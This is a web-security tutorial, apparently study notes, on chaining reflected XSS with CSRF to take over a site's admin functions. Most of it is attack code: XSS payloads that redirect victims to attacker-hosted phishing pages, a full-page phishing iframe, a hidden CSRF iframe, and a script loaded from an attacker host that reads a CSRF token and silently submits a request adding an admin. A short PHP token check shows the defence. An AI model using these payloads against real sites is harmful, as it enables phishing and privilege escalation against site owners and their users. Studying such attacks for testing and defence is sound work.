XSS To bypass CSRF

▼ How far can we reach with XSS

- Stealing Cookies
- Can be used for **phishing** like send this link to the victim:

```
http://www.site.com/script.php?text=<script>document.location.href =
"http://www.site-attacker.com/phishing.html"</script>
```

  - This also can be done using **<iframe>**

```
<iframe
src="http://attacker.com/phishing_page_identical_copy_of_the_aplication_page.h
tml" style="z-index: 0; position: absolute; top: 0; left: 0; height: 100%; width:
100%;"></iframe>
```

    - It is very easy using CSS, we create an iframe which covers all the page. When the user sees that the like is “OK”, he log on.

- Exploiting CSRF, but we need to know what is CSRF

▼ CSRF

What is CSRF ?

Simply if the administrator uses this link to delete something from the organization or whatever “http://www.site.com/admin/delete_articol?articol_id=123”, Here we can make a page that do the same thing like:

```
<iframe
src="http://www.site.com/admin/delete_articol?articol_id=123" width="0"
height="0"></iframe>
```

Now When the victim, in our case the administrator visits this webpage, he will make a request to “http://www.site.com/admin/delete_articol?articol_id=123”,

Which will perfrom the action of deleting this article, Without him knowing, that he is the one that deleted this article 🙂

Time for CSRF Token has Come.

- We can Generate a random token, unique for every administrator session. Let me give you an example:
  - When deleting a file, When we create the download link, we add this token:

```
print '<a href="admin.php?action=delete_articol&articol_id' . $date['id'] . '&token=' .
$_SESSION['token'] . '">Delete</a>';
```

Therefore the link for the delete will be something like that:

```
http://www.site.com/admin.php?action=delete_articol&articol_id=123&to
ken=qdY4f6FTpO
```

So in the server side, the check will be like that

```
if(isset($_GET['delete_articol']))
{
  if($_SESSION['token'] == $_GET['token'])
  {
    // delete_specified_article();
  }
  else print 'The token does not match, you may be a victim on CSRF';
}
```

Thereby, The attacker will never know the token and he will not be able to create a valid link to delete the article.

when deleting a file, when we create the download link, we add this token

▼ Using XSS for bypassing CSRF protection

Here is the scenario that we will be going through, There is a website which is vulnerable to XSS on the main page and there is an endpoint /forum which obviosly

has a forum for adding admins to the website in it protected by CSRF Token. We need to get this token so we can perfrom CSRF Attack.

```
<form method="get" action="add_admin.php">
Name: <input type="text" name="name" value="" /><br />
<input type="hidden" name="token" value="<?php print $_SESSION['token']; ?>" />
<input type="submit" name="submit" value="add admin" /><br />
</form>
```

When the button is clicked the URL for this request will be something like this:

```
http://www.site.com/add_admin.php?name=Nytro&token=1htFI0iA9s&submit
```

Then in `add_admin.php` will check for the validation of the token. IF it's valid, then Nytro will be an admin

```
<?php

session_start();
if(isset($_GET['submit']))
{
  if($_SESSION['token'] == $_GET['token'])
  {
    // we_make_nytro_admin();
    print 'Nytro is now an admin.';
  }
  else print 'Token invalid _|_ :)';
}

?>
```

Now let's see how can we obtain that token

- We will write our javaScript code in another JS file and host it on our website, then in the victim site we will just call it

http://www.site_vulnerabil.com/index.php?nume=<script src="http://www.atacator.com/script.js"></script>

- Now `Script.js` will be like this

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');
function read()
{
 var name = 'Nytro';
 var token =document.getElementById("iframe").contentDocument.forms[0].token.value;
 document.location.href = 'http://Site_Victim.com/admin/add_admin.php?name=' + name +
'&token=' + token + '&submit';
}
```

- First we created an iframe to go the endpoint that generates the CSRF Token, and we will just grap this token and pass to token parameter
- Now let's Look at the whole scenario:
  - The Victim will visit this link

    `http://site_victim.com/index.php?name=<script src="http://attacker.com/script.js></script>`
  - The JS file will be excuted
  - It will be directed to

    `http://site_victim.com/admin/add_admin.php?name=Nytro&token=aH52G7jtC3&submit`
- In order the victim not to realize he was victim to such an attack we put everything in the iframe

```
<iframe src='http://site_victim.com/index.php?name=<script
src="http://attacker.com/script.js"></script>' width="300" height="300"></iframe>
```

- Things can get complicated like if we need to send the data via POST 2 times, we should make an iframe inside an iframe and so on.
- Also the data usually get sent VIA POST request so we make a small change in the script

```
document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin"
width="0" height="0" onload="read()"></iframe>');
function read()
{
 var name = 'Nytro';
 var token =
document.getElementById("iframe").contentDocument.forms[0].token.value;
 document.writeln('<form width="0" height="0" method="post"
action="/admin/add_admin.php">');
 document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
 document.writeln('<input type="submit" name="submit" value="Add_admin" /><br
/>');
 document.writeln('</form>');
 document.forms[0].submit.click();
}
```